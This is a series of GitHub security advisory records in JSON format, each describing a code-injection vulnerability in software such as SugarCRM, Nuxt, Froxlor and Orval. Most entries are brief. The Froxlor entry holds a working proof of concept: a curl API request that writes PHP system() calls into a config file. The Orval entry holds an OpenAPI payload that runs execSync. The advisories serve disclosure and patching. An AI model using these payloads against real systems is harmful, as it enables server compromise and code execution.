{
  "affected": [],
  "aliases": [
    "CVE-2023-22952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-11T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.",
  "id": "GHSA-g9w6-c3gx-pmr3",
  "modified": "2025-10-22T00:32:37Z",
  "published": "2023-01-11T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22952"
    },
    {
      "type": "WEB",
      "url": "https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-22952"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/171320/SugarCRM-12.x-Remote-Code-Execution-Shell-Upload.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/edgelesssys/contrast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T19:49:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# BadAML\n\nBadAML is an AML injection attack that exploits the ACPI interface and allows arbitrary code execution in a confidential VM. The attack was first published in 2024:\n\n- \u003chttps://blackhat.com/eu-24/briefings/schedule/#aml-injection-attacks-on-confidential-vms-42723\u003e\n- \u003chttps://dl.acm.org/doi/pdf/10.1145/3719027.3765123\u003e\n\n## Impact\n\nAn attacker with control over the host (which is assumed in the attacker model of Contrast) can execute malicious AML code to gain arbitrary code execution within the confidential guest.\n\nAML is byte code embedded in ACPI tables that are passed from the host (QEMU) to the guest firmware (OVMF), and then passed from OVMF to the Linux kernel. The Linux kernel has an interpreter that executes the AML code. An attacker can craft a table with malicious AML code and the kernel will execute it. AML is Turing-complete and the interpreter has access to the full guest memory, including private pages.\n\nSee the [paper](https://dl.acm.org/doi/pdf/10.1145/3719027.3765123) for a detailed description and background of the attack.\n\nNote that this is not a vulnerability specific to Contrast, but rather a generic vulnerability in Confidential Computing setups that use the ACPI interface.\n\n## Affected platforms\n\nThis issue affects the SNP platforms supported by Contrast: `Metal-QEMU-SNP` and `Metal-QEMU-SNP-GPU`.\nUsers on these platforms should switch to the fixed Contrast version immediately.\n\n`Metal-QEMU-TDX` isn\u0027t affected, as the content of the ACPI tables is covered by the runtime measurements (measured into RTMR 0 by OVMF) on Intel TDX.\n\n## Patches\n\nA sandbox similar to the one proposed in the paper has been implemented in the Linux kernel used by Contrast. The sandbox denies access to private memory pages by doing a page table lookup on every read/write by the AML interpreter.\n\nThis mitigates the attack completely: While an attacker can still run AML code, the code cannot read or modify private memory pages. Shared pages are readable/writable by the host hypervisor anyway.",
  "id": "GHSA-g9ww-x58f-9g6m",
  "modified": "2026-03-26T19:49:27Z",
  "published": "2026-03-26T19:49:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/edgelesssys/contrast/security/advisories/GHSA-g9ww-x58f-9g6m"
    },
    {
      "type": "WEB",
      "url": "https://blackhat.com/eu-24/briefings/schedule/#aml-injection-attacks-on-confidential-vms-42723"
    },
    {
      "type": "WEB",
      "url": "https://dl.acm.org/doi/pdf/10.1145/3719027.3765123"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/edgelesssys/contrast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Contrast BadAML injection allows arbitrary code execution"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-3224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-21T22:09:01Z",
    "nvd_published_at": "2023-06-13T18:15:22Z",
    "severity": "CRITICAL"
  },
  "details": "he Nuxt dev server between versions 3.4.0 and 3.4.3 is vulnerable to code injection when it is exposed publicly.",
  "id": "GHSA-gc34-5v43-h7v8",
  "modified": "2024-11-18T16:26:30Z",
  "published": "2023-06-13T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3224"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/issues/21694"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/72ba53efbc2384f802d654fffd92eaf36a81b507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commits/v3.4.3"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nuxt Code Injection vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-65037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T22:16:01Z",
    "severity": "CRITICAL"
  },
  "details": "Improper control of generation of code (\u0027code injection\u0027) in Azure Container Apps allows an unauthorized attacker to execute code over a network.",
  "id": "GHSA-gc65-6wv6-qhxp",
  "modified": "2025-12-19T00:31:42Z",
  "published": "2025-12-19T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65037"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-65037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-17T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in FeMiner WMS v1.1 allows attackers to execute arbitrary code via the filename parameter and the exec function.",
  "id": "GHSA-gc7r-43fc-78q8",
  "modified": "2023-02-28T21:30:17Z",
  "published": "2023-02-17T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FeMiner/wms/issues/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-5216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-04T23:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in eArk (e-Ark) 1.0 allow remote attackers to execute arbitrary PHP code via a URL in (1) the cfg_vcard_path parameter to src/vcard_inc.php or (2) the cfg_phpmailer_path parameter to src/email_inc.php.  NOTE: the ark_inc.php vector is already covered by CVE-2006-6086.",
  "id": "GHSA-gc98-v57j-w56g",
  "modified": "2025-04-09T03:46:53Z",
  "published": "2022-05-01T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5216"
    },
    {
      "type": "WEB",
      "url": "http://arfis.wordpress.com/2007/09/13/rfi-02-eark"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38553"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38554"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:50:00Z",
    "nvd_published_at": "2026-04-23T04:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key =\u003e $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"\u0027%s\u0027 =\u003e %s,\\n\", $key, $value ? \u0027true\u0027 : \u0027false\u0027));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e $value,\\n\");\n        } else {\n            if ($key == \u0027password\u0027) {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys \u2014 including `user`, `caption`, and `caFile` \u2014 are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` \u2192 `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u \u0027ADMIN_APIKEY:ADMIN_APISECRET\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x\u0027\\\u0027\u0027.system(\\\"id\\\").\u0027\\\u0027\u0027\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }\u0027\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n\u0027user\u0027 =\u003e \u0027x\u0027.system(\"id\").\u0027\u0027,\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n\u003c\u003e]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\\u0027` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace([\u0027\\\\\u0027, \"\u0027\"], [\u0027\\\\\\\\\u0027, \"\\\\\u0027\"], $value);\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$escaped}\u0027,\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.",
  "id": "GHSA-gc9w-cc93-rjv8",
  "modified": "2026-04-24T20:53:58Z",
  "published": "2026-04-16T00:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-0302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-17T02:00:00Z",
    "severity": "HIGH"
  },
  "details": "Untrusted search path vulnerability in apt-listchanges.py in apt-listchanges before 2.82 allows local users to execute arbitrary code via a malicious apt-listchanges program in the current working directory.",
  "id": "GHSA-gcfh-ffhx-7mvf",
  "modified": "2025-04-09T03:50:27Z",
  "published": "2022-05-01T23:28:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0302"
    },
    {
      "type": "WEB",
      "url": "http://git.madism.org/?p=apt-listchanges.git%3Ba=commitdiff%3Bh=1bcfbf3dc55413bb83a1782dc9a54515a963fb32"
    },
    {
      "type": "WEB",
      "url": "http://git.madism.org/?p=apt-listchanges.git;a=commitdiff;h=1bcfbf3dc55413bb83a1782dc9a54515a963fb32"
    },
    {
      "type": "WEB",
      "url": "http://packages.debian.org/changelogs/pool/main/a/apt-listchanges/apt-listchanges_2.82/changelog"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28513"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28574"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2008/dsa-1465"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27331"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-572-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-2645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-06-10T18:32:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Brim (formerly Booby) 1.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the renderer parameter to template.tpl.php in (1) barrel/, (2) barry/, (3) mylook/, (4) oerdec/, (5) penguin/, (6) sidebar/, (7) slashdot/, and (8) text-only/ in templates/.  NOTE: this can also be leveraged to include and execute arbitrary local files via directory traversal sequences.",
  "id": "GHSA-gcfx-wr8q-hc44",
  "modified": "2022-05-01T23:52:04Z",
  "published": "2022-05-01T23:52:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2645"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42784"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5722"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29469"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1718/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@orval/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.19.0"
            },
            {
              "fixed": "7.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@orval/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-84",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-30T21:17:25Z",
    "nvd_published_at": "2026-01-30T21:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "[CVE-2026-23947](https://github.com/advisories/GHSA-h526-wf6g-67jv) had an incomplete fix\n\nWhile the current [jsStringEscape](https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227) function properly handles single quotes (\u0027), double quotes (\") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.\n\n**Example:**\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        # \"pwned */ }; import(\u0027child_process\u0027).then(cp =\u003e cp.execSync(\u0027touch pwned\u0027)); const a = { /*\"\n        - \"pwned */ }; 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const a = { /*\"\n\n```",
  "id": "GHSA-gch2-phqh-fg9q",
  "modified": "2026-01-31T03:54:21Z",
  "published": "2026-01-30T21:17:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25141"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v7.21.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval has Code Injection via unsanitized x-enum-descriptions using JS comments"
}